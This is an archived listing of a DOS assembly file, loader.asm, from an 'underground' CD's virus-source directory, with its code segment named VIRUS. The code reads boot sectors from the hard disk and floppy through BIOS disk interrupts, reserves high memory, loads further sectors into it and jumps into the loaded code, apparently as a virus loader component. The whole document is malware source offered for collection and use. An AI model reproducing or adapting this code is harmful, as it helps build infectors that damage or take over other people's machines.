home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / l / loader.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  1.5 KB  |  111 lines
  1.     PAGE ,132
  2. VIRUS    SEGMENT PARA PUBLIC 'CODE'
  3.     ASSUME CS:VIRUS,DS:VIRUS
  4.     call    gyilk
  5.     int    20h
  6.     nop
  7. gyilk:    push    ax
  8.     push    bx
  9.     push    cx
  10.     push    dx
  11.     push    es
  12.     push    ds
  13.     push    di
  14.     push    si
  15.     call    cim
  16. cim:    pop    bx
  17.     mov    si,5aa5h
  18.     mov    di,55aah
  19.     push    cs
  20.     pop    es
  21. ujra:    add    bx,1000
  22.     cmp    bx,1000
  23.     jnc    kilep1
  24.     jmp    kilep
  25. kilep1:    push    bx
  26.     mov    ax,201h
  27.     mov    dx,80h
  28.     mov    cx,1
  29.     int    13h
  30.     pop    bx
  31.     jnc    tovabb
  32.     jmp    kilep
  33. tovabb:    cmp    si,0a55ah
  34.     jnz    tivbi1
  35.     jmp    kilep
  36. tivbi1:    mov    ax,cs:word ptr [bx]
  37.     cmp    ax,12cdh
  38.     jz    kilep
  39. tovbi:    push    bx
  40.     mov    ax,201h
  41.     mov    dx,0h
  42.     mov    cx,1
  43.     int    13h
  44.     pop    bx
  45.     jnc    tovabbi
  46.     cmp    ah,6
  47.     jz    tovbi
  48.     jmp    kilep
  49. tovabbi: mov    ax,cs
  50.     add    ax,1000h
  51.     push    bx
  52.     push    ax
  53.     int    12h
  54.     mov    bx,64
  55.     mul    bx
  56.     sub    ax,1000h
  57.     mov    bx,ax
  58.     pop    ax
  59.     cmp    bx,ax
  60.     jnc    oke1
  61.     pop    bx
  62.     jmp    kilep
  63. oke1:    pop    bx
  64. oke:    mov    es,ax
  65.     mov    ax,cs:[bx+18h]
  66.     mov    cx,cs:[bx+1ah]
  67.     mul    cx
  68.     mov    cx,ax
  69.     mov    ax,cs:[bx+13h]
  70.     mov    dx,0
  71.     div    cx
  72.     sub    bx,1000
  73.     push    bx
  74.     mov    ch,al
  75.     mov    cl,1
  76.     mov    bx,100h
  77.     mov    dx,0
  78.     mov    ax,208h
  79.     int    13h
  80.     pop    bx
  81.     jc    kilep
  82.     push    bx
  83.     mov    bx,100h
  84.     mov    ax,es:[bx]
  85.     cmp    ax,2452h
  86.     pop    bx
  87.     jnz    kilep
  88.     mov    ax,bx
  89.     add    ax,offset kilep-offset cim
  90.     push    cs
  91.     push    ax
  92.     mov    ax,10ah
  93.     push    es
  94.     push    ax
  95.     retf
  96. kilep:    pop    si
  97.     pop    di
  98.     pop    ds
  99.     pop    es
  100.     pop    dx
  101.     pop    cx
  102.     pop    bx
  103.     pop    ax
  104.     ret
  105. cime:    dw    0
  106. VEG    EQU $
  107.  
  108. VIRUS    ENDS
  109.  
  110.     END
  111.